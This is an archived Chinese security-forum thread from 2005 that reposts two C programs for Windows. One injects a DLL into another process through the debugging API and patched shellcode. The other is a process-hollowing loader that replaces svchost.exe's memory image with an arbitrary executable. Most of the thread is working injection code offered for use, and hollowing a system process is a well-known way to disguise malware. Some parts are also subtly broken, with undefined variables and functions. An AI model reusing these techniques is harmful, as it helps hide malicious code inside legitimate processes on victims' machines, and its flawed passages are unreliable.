邪恶八进制信息安全团队技术讨论组's Archiver

金州 2005-12-19 01:55

[转载]一个向别的进程插入dll的代码

信息来源:cvc

--------- Functions in C ---------------

CONTEXT OriginalContext; //Get/SetThreadContext's parameter
char OriginalCodePage[4096];
DWORD sizeofCP=0;
VOID* mySec; //my section...Offset of CodePage in the target process's memory, not this app's memory

BOOL InjectDLL_CreateProcess( char *TargetAPP, char *DLLTOINJECT )
{
   BOOL B=FALSE, BREAK1=FALSE, BREAK2=FALSE;
   STARTUPINFO          sInfo;
   PROCESS_INformATION pInfo;
   DEBUG_EVENT          dEvent;
   DWORD              ret;
   
   ZeroMemory((VOID*)&sInfo, sizeof(sInfo));

   B = CreateProcess(Filename, 0, 0, 0, FALSE, DEBUG_ONLY_THIS_PROCESS, 0, 0, &sInfo, &pInfo);
   if(!B) return FALSE;
   
   //-----
   ///
   ////  
   ///// We need 3 things, ProcessHandle, ThreadHandle, and BaseOfImage (base address of executable file in memory)
   ////  
   ///
   //-----


   HANDLE              PHandle=pInfo.hProcess, THandle=pInfo.hThread; // Processhandle, Thread handle
   VOID *              BaseOfImage;
   char              DLLTOINJECT[] = "d:\\VCPrj\\MSNInject\\DLL\\Release\\DLL.dll";

   while(1)
   {
      if( !(B = WaitForDebugEvent(&dEvent, INFINITE)) ) //Remember? -- dEvent is a structure that recv'es return of fucntion
          return -1;
      
      if(dEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT)  //If the debug event was "Process has just been created"
      {
          BaseOfImage = dEvent.u.CreateProcessInfo.lpBaseOfImage; //Ok, now we have the base address of the exectable file in memory (remember before, when i said that i'll show you how to get it?)
      }

      if(dEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT) //if process terminated, then break the loop, so that you would exit function
          break;

      if(dEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT)//Check for breakpoint
      {
          if(dEvent.u.Exception.ExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT)
          {//It is a break point;
             if(BREAK1==FALSE)
             {//First Breakpoint occured
                B = InjectDLL( pInfo.hProcess, pInfo.hThread, BaseOfImage,  
                    DLLTOINJECT); //The magical function, comes after this function

                BREAK1 = TRUE;
                if(!B)
                    return FALSE;
             }else if(BREAK2==FALSE)
             {//Second breakpoint occured (asm instructions have been all done, and int 3h was reached
                ret = RestoreOriginalCodePage( PHandle, THandle, 0); //another function to restore
                if(ret==0) return FALSE; //uhoh!!! Big big big big error...you need to restore what you have written, but couldn't,,,,i'll leave it to you, cause i, my self donno what to do, other than terminate the target process :P
                BREAK2=TRUE;
             }
          }else
          {    //if an Exception occured, and it wasn't a break point, then say DBG_EXCEPTION_NOT_HANDLED
             //Because you haven't handled the exception, so let lindows,,i mean, windows handle it..
             ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
             continue;
          }

      }//end if

      ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId, DBG_CONTINUE);
      //you don't need to handle event,,let it pass

   }//end while()
}//end function

////////////////////

next function:

BOOL InjectDLL(HANDLE hProcess, HANDLE hThread, VOID* hModuleBase, char *DllName)
{//You must have debug access to hProcess (required for ReadProcessMemory() & WriteProcessMemory)

   FARPROC LoadLibProc = GetProcAddress(GetModuleHandle("KERNEL32.dll"), "LoadLibraryA");
   if(!LoadLibProc) return FALSE;

//This is the entry point addr of LoadLibrary()...It's usually, always the same for any process that loads kernel32.dll
//So unless there is some other explanation, i don't know
//But i personally found that this works all of the time
   

   ////////////////////////////////
   
   char CodePage[4096] =
   
   {    0xB8, 00, 00, 00, 00,    // mov EAX,  0h | Pointer to LoadLibraryA() (DWORD)
      0xBB, 00, 00, 00, 00,    // mov EBX,  0h | DLLName to inject (DWORD)
      0x53,                 // push EBX
      0xFF, 0xD0,              // call EAX
      0x5b,                 // pop EBX
      0xcc                 // INT 3h
   }; //i could have used structS instead, but unfortunatelly, because of many compilers' stupid padding, i didn't >:(
   int nob=15; //no of bytes
   
      char *DLLName;     //DllName
      DWORD *EAX, *EBX;   //Look at codepage

      DLLName = (char*)((DWORD)CodePage + nob);  //Set the pointers
      EAX = (DWORD*)( CodePage +  1);          //
      EBX = (DWORD*) ( CodePage +  6);      //

      strcpy( DLLName, DllName );       //copy dll name
      *EAX = (DWORD)LoadLibProc;       //EAX==LoadLibProc
      *EBX = nob; // need to do this: *EBX = *EBX + (offset of CodePage)
   ////////////////////////////
      sizeofCP = strlen(DllName) + nob +1; //remember this? --


//Here comes the complicated part, you can use CreateRemoteThread() instead of all this, actually, but unfortunatelly
//it isn't supported in all versions of windows...but i'll tell you how to use it after this code..
//I have an example code that i found from google groups

   IMAGE_DOS_HEADER       DOShdr;
   IMAGE_NT_HEADERS       *pNThdr, NThdr;
   IMAGE_SECTION_HEADER       SecHdr, *pSecHdr;
   IMAGE_DATA_DIRECTORY       DataDir, *pDataDir; //@@@@@@@@
   DWORD              dwD, dwD2, read, written;
   CONTEXT              Context; //GetThreadContext's parameter &&
   BOOL              B;

   Context.ContextFlags = CONTEXT_CONTROL; //look at WINNT.h header file for more information
   OriginalContext.ContextFlags = CONTEXT_CONTROL;
   if(!GetThreadContext( hThread, &OriginalContext)) //Save original context -- remember that currently the process is totally suspended
   {
      dwD = GetLastError();
      return FALSE;
   }
      
   // Check to see if we have valid Headers:
   //
   /////////Get DOS hdr
   B = ReadProcessMemory(hProcess, hModuleBase, &DOShdr, sizeof(DOShdr), &read);
   if( (!B) || (read!=sizeof(DOShdr)) ) return FALSE;
   if( DOShdr.e_magic != IMAGE_DOS_SIGNATURE ) //Check for `MZ
      return FALSE;
   
   //Get NT header
   B = ReadProcessMemory( hProcess,
      (VOID*)((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew), &NThdr, sizeof(NThdr), &read);
   if( (!B) || (read!=sizeof(NThdr)) ) return FALSE;
   if( NThdr.Signature != IMAGE_NT_SIGNATURE ) //Check for `PE\0\0
      return 0;

   // Valid EXE header!
   // Look for a usable writable code page: -- this is where you seek the sections for a usable section
   //

   /////
      //
      if( (dwD=NThdr.FileHeader.NumberOfSections) < 1 ) //Number of sections must be atleast 1...DUH!!!
          return FALSE;//Section table: (after optional header)
      
      pSecHdr = (IMAGE_SECTION_HEADER*)
          (
          ((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew) +
          (DWORD)sizeof(NThdr.FileHeader) +
          (DWORD)NThdr.FileHeader.SizeOfOptionalHeader + 4
          );//@@@@@@@@@@@@@ need to concentrate on this to understand..except the +4,,,i saw that it always needs this,, i spent an hour trying to fix an error, until i noticed this :P...So just do it

      B=FALSE;
///////////////////////////////GetModuleHandle(0); //i explained what this does, in part I,,,but unfortunatelly, it&#39;s for the dll, not for this exe :P
      
      for( dwD2=0 ; dwD2<dwD ; dwD2++ )
      {//iterate sections to look for a writable part of memory and NOT .idata -- because .idata is the import table,,which shouldn&#39;t be modified whatsoever -- because NazSoft sez so! :P it&#39;s a bit of a long story,,I&#39;m not a super novel to give you all the information u need :P
          if( !ReadProcessMemory( hProcess, pSecHdr, &SecHdr, sizeof(SecHdr), &read) )
             return FALSE; //i know you might look confused of what you see here...

///////////////////But listen to me when i say that this is not wrong. it is correct
///////////////////pSecHdr points to addr in memory of a section&#39;s name,,but not the memory of MY process,
///////////////////but the memory of the other process. If you do *pSecHdr,, you&#39;ll get info from you&#39;re process
///////////////////mostly, it&#39;ll be the same as the other proceess, but if you look closer, you&#39;ll see that it&#39;s not
///////////////////Base addresses of all dll file&#39;s functions are the same in all programs
///////////////////So pSecHdr isn&#39;t a true pointer,, just an easier way (so that i don&#39;t need to use casting opers alot)
///////////////////to do what i want to do


          if(read!=sizeof(SecHdr)) return FALSE; //Make sure correct amount was read in
         
          if(
             (SecHdr.Characteristics & IMAGE_SCN_MEM_WRITE) //writable section
             &&
             ( strcmpi((const char*)SecHdr.Name, ".idata")!=NULL ) //not .idata (import data)
             ) //strcmpi -- the "i" == ignore cases (capital, small letters...)
          {
             B = TRUE;
             break;//OK! found!!
          }
          pSecHdr++;
      }

      if(!B)
          return FALSE; //couldn&#39;t find usable code page!
      //
   /////
      //Found a section:  (SecHdr.VirtualAddress + (DWORD)hModuleBase)
      mySec = (VOID*)(SecHdr.VirtualAddress + (DWORD)hModuleBase); //Remember this global var?
      //This is where the asm instructions shuold go

      *EBX = *EBX + (DWORD)mySec; //also remember this??? look at the top of the function
      
      if(!ReadProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &read) )
          return FALSE; //Read the stuff in memory, so that you can restore it
      if(read != sizeofCP)
          return FALSE;

//so now, yuou will have already saved the memory that you&#39;re going to modify, and the thread&#39;s context (registers)
//we&#39;ll restore them later..
      
      //Now starts the mega part! (If an error occurs here, god knows what might happen!
      B = WriteProcessMemory( hProcess, mySec, CodePage, sizeofCP, &written);
      
      if( (written!=0) && (written!=sizeofCP) )  //Uh oh!, System crash might occur now!
      {//****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY****
          WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written);
          // Try to save what you can, and return back to memory
                    
          return FALSE; //might not have worked, so, big s***!
      }

      if((!B) || (written!=sizeofCP))
          return FALSE;
      
      //Ok, injected successfully,
      //You MUST call function RestoreOriginalCodePage() function upon the following breakpoint!
      Context = OriginalContext;
      Context.Eip = (DWORD)mySec; //Change EIP
      B = SetThreadContext(hThread, &Context); //Change EIP
      if(!B) return FALSE; //Lol, it would be funny to get an error here,,,all that goes to waste, and you need to restore what ever it ist hat you chagned :S :S :S

   return 1;
}


//OK go back to InjectDLL_CreateProcess() ... Look at the second break point section:
/*
   ret = RestoreOriginalCodePage( PHandle, THandle, 0); //another function to restore
   if(ret==0) return FALSE;
   //uhoh!!! Big big big big error...you need to restore what you have written, but couldn&#39;t,,,,
   //i&#39;ll leave it to you, cause i, my self donno what to do, other than terminate the target process :P

   BREAK2=TRUE;

*/

OK, so lets have a look at RestoreOriginalCodePage():

*******
Notepad is giving me a headache right now, keeps saying not enough memory.. :P :P
*******

I&#39;m typing the rest in c:\windows\edit.com  program --i love this thing :P



//return values:
//
//    if 0    ->    successful
//    if -1    ->    (0xFFFFFFFF) WriteProcessMemory returned FALSE
//    else    ->    Amount of bytes written + 1
//              (to get exact amount of bytes written, you must decrement return value by one!)
//

DWORD RestoreOriginalCodePage( HANDLE hProcess, HANDLE hThread, DWORD *outSize )
{
   BOOL B;
   DWORD written;
   CONTEXT Context;

   if(outSize) *outSize = sizeofCP; //Just for user&#39;s info

     Context.ContextFlags = CONTEXT_FULL; //look at winnt.h
     GetThreadContext( hThread, &Context); //Get current thread context
          //This isn&#39;t required, it&#39;s just for you to check the return
          //value of LoadLibrary()
          ////It is in the EAX register (Context.Eax)
     
   B = WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written );
     //Restore original codepage

     if(!B) return -1;

   if(written!=sizeofCP)
      return written+1;

     //Restore context (EIP)
   B=SetThreadContext( hThread, (CONST CONTEXT*)&OriginalContext);
     if(!B) return -1;

   return 0;
}

金州 2005-12-19 01:59

主帖子方法实践起来不大好用。
下面给出vxk的一个相关的代码/



/*          在进程空间中插入另一个进程的代码细节化  

作者: vxk         
    在Inject DLL Into Process的技术司空见惯的时代,江湖上出现了更令人惊讶Inject Thread Into Process的技术,
  不过这些Injection的功能多有局限性,如果可以Inject EXE(Process) Into Process该多好啊,习习~~其实Inject EXE的
  技术早已不是什么新东西,只是原先的Inject EXE是Linux/Unix的东西,没有几个成功被改造成Windows版的......
*/

[code]#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"

struct PE_Header
{
   unsigned long signature;
   unsigned short machine;
   unsigned short numSections;
   unsigned long timeDateStamp;
   unsigned long pointerToSymbolTable;
   unsigned long numOfSymbols;
   unsigned short sizeOfOptionHeader;
   unsigned short characteristics;
};

struct PE_ExtHeader
{
   unsigned short magic;
   unsigned char majorLinkerVersion;
   unsigned char minorLinkerVersion;
   unsigned long sizeOfCode;
   unsigned long sizeOfInitializedData;
   unsigned long sizeOfUninitializedData;
   unsigned long addressOfEntryPoint;
   unsigned long baseOfCode;
   unsigned long baseOfData;
   unsigned long imageBase;
   unsigned long sectionAlignment;
   unsigned long fileAlignment;
   unsigned short majorOSVersion;
   unsigned short minorOSVersion;
   unsigned short majorImageVersion;
   unsigned short minorImageVersion;
   unsigned short majorSubsystemVersion;
   unsigned short minorSubsystemVersion;
   unsigned long reserved1;
   unsigned long sizeOfImage;
   unsigned long sizeOfHeaders;
   unsigned long checksum;
   unsigned short subsystem;
   unsigned short DLLCharacteristics;
   unsigned long sizeOfStackReserve;
   unsigned long sizeOfStackCommit;
   unsigned long sizeOfHeapReserve;
   unsigned long sizeOfHeapCommit;
   unsigned long loaderFlags;
   unsigned long numberOfRVAAndSizes;
   unsigned long exportTableAddress;
   unsigned long exportTableSize;
   unsigned long importTableAddress;
   unsigned long importTableSize;
   unsigned long resourceTableAddress;
   unsigned long resourceTableSize;
   unsigned long exceptionTableAddress;
   unsigned long exceptionTableSize;
   unsigned long certFilePointer;
   unsigned long certTableSize;
   unsigned long relocationTableAddress;
   unsigned long relocationTableSize;
   unsigned long debugDataAddress;
   unsigned long debugDataSize;
   unsigned long archDataAddress;
   unsigned long archDataSize;
   unsigned long globalPtrAddress;
   unsigned long globalPtrSize;
   unsigned long TLSTableAddress;
   unsigned long TLSTableSize;
   unsigned long loadConfigTableAddress;
   unsigned long loadConfigTableSize;
   unsigned long boundImportTableAddress;
   unsigned long boundImportTableSize;
   unsigned long importAddressTableAddress;
   unsigned long importAddressTableSize;
   unsigned long delayImportDescAddress;
   unsigned long delayImportDescSize;
   unsigned long COMHeaderAddress;
   unsigned long COMHeaderSize;
   unsigned long reserved2;
   unsigned long reserved3;
};


struct SectionHeader
{
   unsigned char sectionName[8];
   unsigned long virtualSize;
   unsigned long virtualAddress;
   unsigned long sizeOfRawData;
   unsigned long pointerToRawData;
   unsigned long pointerToRelocations;
   unsigned long pointerToLineNumbers;
   unsigned short numberOfRelocations;
   unsigned short numberOfLineNumbers;
   unsigned long characteristics;
};

struct MZHeader
{
   unsigned short signature;
   unsigned short partPag;
   unsigned short pageCnt;
   unsigned short reloCnt;
   unsigned short hdrSize;
   unsigned short minMem;
   unsigned short maxMem;
   unsigned short reloSS;
   unsigned short exeSP;
   unsigned short chksum;
   unsigned short exeIP;
   unsigned short reloCS;
   unsigned short tablOff;
   unsigned short overlay;
   unsigned char reserved[32];
   unsigned long offsetToPE;
};


struct ImportDirEntry
{
   DWORD importLookupTable;
   DWORD timeDateStamp;
   DWORD fowarderChain;
   DWORD nameRVA;
   DWORD importAddressTable;
};

struct FixupBlock
{
   unsigned long pageRVA;
   unsigned long blockSize;
};

#define TARGETPROC "svchost.exe" ;

typedef struct _PROCINFO
{
   DWORD baseAddr;
   DWORD imageSize;
} PROCINFO;

BOOL EXPD = False ;
CHAR *PID;

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
           SectionHeader **outSecHdr)
{
   fseek(fp, 0, SEEK_END);
   long fileSize = ftell(fp);
   fseek(fp, 0, SEEK_SET);

   if(fileSize < sizeof(MZHeader))
   {
      printf("File size too small\n");      
      return false;
   }

   // read MZ Header
   MZHeader mzH;
   fread(&mzH, sizeof(MZHeader), 1, fp);

   if(mzH.signature != 0x5a4d)      // MZ
   {
      printf("File does not have MZ header\n");
      return false;
   }

   printf("Offset to PE Header = %X\n", mzH.offsetToPE);

   if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
   {
      printf("File size too small\n");      
      return false;
   }

   // read PE Header
   fseek(fp, mzH.offsetToPE, SEEK_SET);
   PE_Header peH;
   fread(&peH, sizeof(PE_Header), 1, fp);

   printf("Size of option header = %d\n", peH.sizeOfOptionHeader);
   printf("Number of sections = %d\n", peH.numSections);

   if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
   {
      printf("Unexpected option header size.\n");
      
      return false;
   }

   // read PE Ext Header
   PE_ExtHeader peXH;

   fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

   printf("Import table address = %X\n", peXH.importTableAddress);
   printf("Import table size = %X\n", peXH.importTableSize);
   printf("Import address table address = %X\n", peXH.importAddressTableAddress);
   printf("Import address table size = %X\n", peXH.importAddressTableSize);


   // read the sections
   SectionHeader *secHdr = new SectionHeader[peH.numSections];

   fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

   *outMZ = mzH;
   *outPE = peH;
   *outpeXH = peXH;
   *outSecHdr = secHdr;

   return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                SectionHeader *inSecHdr)
{
   int result = 0;
   int alignment = inpeXH->sectionAlignment;

   if(inpeXH->sizeOfHeaders % alignment == 0)
      result += inpeXH->sizeOfHeaders;
   else
   {
      int val = inpeXH->sizeOfHeaders / alignment;
      val++;
      result += (val * alignment);
   }


   for(int i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].virtualSize)
      {
        if(inSecHdr[i].virtualSize % alignment == 0)
           result += inSecHdr[i].virtualSize;
        else
        {
           int val = inSecHdr[i].virtualSize / alignment;
           val++;
           result += (val * alignment);
        }
      }
   }

   return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{   
   if(curSize % alignment == 0)
      return curSize;
   else
   {
      int val = curSize / alignment;
      val++;
      return (val * alignment);
   }
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc)
{
   char *outPtr = (char *)ptrLoc;

   fseek(fp, 0, SEEK_SET);
   unsigned long headerSize = inpeXH->sizeOfHeaders;

   // certain PE files have sectionHeaderSize value > size of PE file itself.  
   // this loop handles this situation by find the section that is nearest to the
   // PE header.

   for(int i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].pointerToRawData < headerSize)
        headerSize = inSecHdr[i].pointerToRawData;
   }

   // read the PE header
   unsigned long readSize = fread(outPtr, 1, headerSize, fp);
   printf("HeaderSize = %d\n", headerSize);
   if(readSize != headerSize)
   {
      printf("Error reading headers (%d %d)\n", readSize, headerSize);
      return false;      
   }

   outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

   // read the sections
   for(i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].sizeOfRawData > 0)
      {
        unsigned long toRead = inSecHdr[i].sizeOfRawData;
        if(toRead > inSecHdr[i].virtualSize)
           toRead = inSecHdr[i].virtualSize;

        fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
        readSize = fread(outPtr, 1, toRead, fp);

        if(readSize != toRead)
        {
           printf("Error reading section %d\n", i);
           return false;
        }
        outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
      }
      else
      {
        // this handles the case where the PE file has an empty section. E.g. UPX0 section
        // in UPXed files.

        if(inSecHdr[i].virtualSize)
           outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
      }
   }

   return true;
}





//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
   if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
   {
      FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
      long delta = newBase - inpeXH->imageBase;

      while(fixBlk->blockSize)
      {
        printf("Addr = %X\n", fixBlk->pageRVA);
        printf("Size = %X\n", fixBlk->blockSize);

        int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
        printf("Num Entries = %d\n", numEntries);

        unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

        for(int i = 0; i < numEntries; i++)
        {
           DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
           
           int relocType = (*offsetPtr & 0xF000) >> 12;
           
           printf("Val = %X\n", *offsetPtr);
           printf("Type = %X\n", relocType);

           if(relocType == 3)
              *codeLoc = ((DWORD)*codeLoc) + delta;
           else
           {
              printf("Unknown relocation type = %d\n", relocType);
           }
           offsetPtr++;
        }

        fixBlk = (FixupBlock *)offsetPtr;
      }
   }   
}


//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


      
      
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
   STARTUPINFO si = {0};
   if(!EXPD)
      {
   if(CreateProcess(NULL, TARGETPROC,
              NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))      
   {
      ctx->ContextFlags=CONTEXT_FULL;
      GetThreadContext(pi->hThread, ctx);

      DWORD *pebInfo = (DWORD *)ctx->Ebx;
      DWORD read;
      ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
   
      DWORD curAddr = outChildProcInfo->baseAddr;
      MEMORY_BASIC_INFORMATION memInfo;
      while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
      {
        if(memInfo.State == MEM_FREE)
           break;
        curAddr += memInfo.RegionSize;
      }
      outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

      return TRUE;
   }
   } else
   {
    DEBUG_EVENT DBEvent;
    if(DebugActiveProcess((DWORD)*PID))
    {
       WaitForDebugEvent(&DBEvent,INFINITE);
       pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
       pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
         ctx->ContextFlags=CONTEXT_FULL;
      GetThreadContext(pi->hThread, ctx);
      DWORD *pebInfo2 = (DWORD *)ctx->Fs;
      *pedInfo2+=0x30;
      DWORD read2;
      ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);
   
      DWORD curAddr2 = outChildProcInfo2->baseAddr;
      MEMORY_BASIC_INFORMATION memInfo2;
      while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
      {
        if(memInfo2.State == MEM_FREE)
           break;
        curAddr2+= memInfo2.RegionSize;
      }
      outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;

      return TRUE;
      }
   }
   
   return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
   if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
   {
      return TRUE;
   }
   return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.  
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//   thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
   STARTUPINFO si = {0};
   PROCESS_INFORMATION pi;
   CONTEXT ctx;
   PROCINFO childInfo;
   
   if(createChild(&pi, &ctx, &childInfo))
   {      
      printf("Original EXE loaded (PID = %d).\n", pi.dwProcessId);
      printf("Original Base Addr = %X, Size = %X\n", childInfo.baseAddr, childInfo.imageSize);
      
      LPVOID v = (LPVOID)NULL;
      
      if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
      {
        // if new EXE has same baseaddr and is its size is <= to the original EXE, just
        // overwrite it in memory
        v = (LPVOID)childInfo.baseAddr;
        DWORD oldProtect;
        VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);        
        
        printf("Using Existing Mem for New EXE at %X\n", (unsigned long)v);
      }
      else
      {
        // get address of ZwUnmapViewOfSection
        PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

        // try to unmap the original EXE image
        if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
        {
           // allocate memory for the new EXE image at the prefered imagebase.
           v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
           if(v)
              printf("Unmapped and Allocated Mem for New EXE at %X\n", (unsigned long)v);
        }
      }

      if(!v && hasRelocationTable(inpeXH))
      {
        // if unmap failed but EXE is relocatable, then we try to load the EXE at another
        // location
        v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if(v)
        {
           printf("Allocated Mem for New EXE at %X. EXE will be relocated.\n", (unsigned long)v);

           // we&#39;ve got to do the relocation ourself if we load the image at another
           // memory location           
           doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
        }
      }

      printf("EIP = %X\n", ctx.Eip);
      printf("EAX = %X\n", ctx.Eax);
      printf("EBX = %X\n", ctx.Ebx);      // EBX points to PEB
      printf("ECX = %X\n", ctx.Ecx);
      printf("EDX = %X\n", ctx.Edx);
      
      if(v)
      {        
        printf("New EXE Image Size = %X\n", imageSize);
        
        // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
        DWORD *pebInfo = (DWORD *)ctx.Ebx;
        DWORD wrote;               
        WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

        // patch the base addr in the PE header of the EXE that we load ourselves
        PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
        peXH->imageBase = (DWORD)v;
        
        if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
        {   
           printf("New EXE image injected into process.\n");

           ctx.ContextFlags=CONTEXT_FULL;           
           //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
           
           if((DWORD)v == childInfo.baseAddr)
           {
              ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;      // eax holds new entry point
           }
           else
           {
              // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
              // performed.
              ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;      // eax holds new entry point
           }

           printf("********> EIP = %X\n", ctx.Eip);
           printf("********> EAX = %X\n", ctx.Eax);

           SetThreadContext(pi.hThread,&ctx);

           ResumeThread(pi.hThread);
           printf("Process resumed (PID = %d).\n", pi.dwProcessId);
        }
        else
        {
           printf("WriteProcessMemory failed\n");
           TerminateProcess(pi.hProcess, 0);
        }
      }
      else
      {
        printf("Load failed.  Consider making this EXE relocatable.\n");
        TerminateProcess(pi.hProcess, 0);
      }
   }
   else
   {
      printf("Cannot load %s\n", TARGETPROC);
   }
}




int main(int argc, char* argv[])
{
   if((argc < 2 )||(argc > 3))
   {
      printf("\nUsage: %s  [pid]\n", argv[0]);
      return 1;
   }
      if(argc==3){
      alloc(PID,1024);
      memset(PID,0,1024);
      strcpy(PID,argv[2]);
      EXPD= True ;
      }
      
   FILE *fp = fopen(argv[1], "rb");
   if(fp)
   {
      MZHeader mzH;
      PE_Header peH;
      PE_ExtHeader peXH;
      SectionHeader *secHdr;

      if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
      {
        int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
        printf("Image Size = %X\n", imageSize);

        LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if(ptrLoc)
        {
           printf("Memory allocated at %X\n", ptrLoc);
           loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                
           
           doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                     
        }
        else
           printf("Allocation failed\n");
      }

      fclose(fp);
   }
   else
      printf("\nCannot open the EXE file!\n");

   return 0;
}[/code]

页: [1]
© 1999-2008 EvilOctal Security Team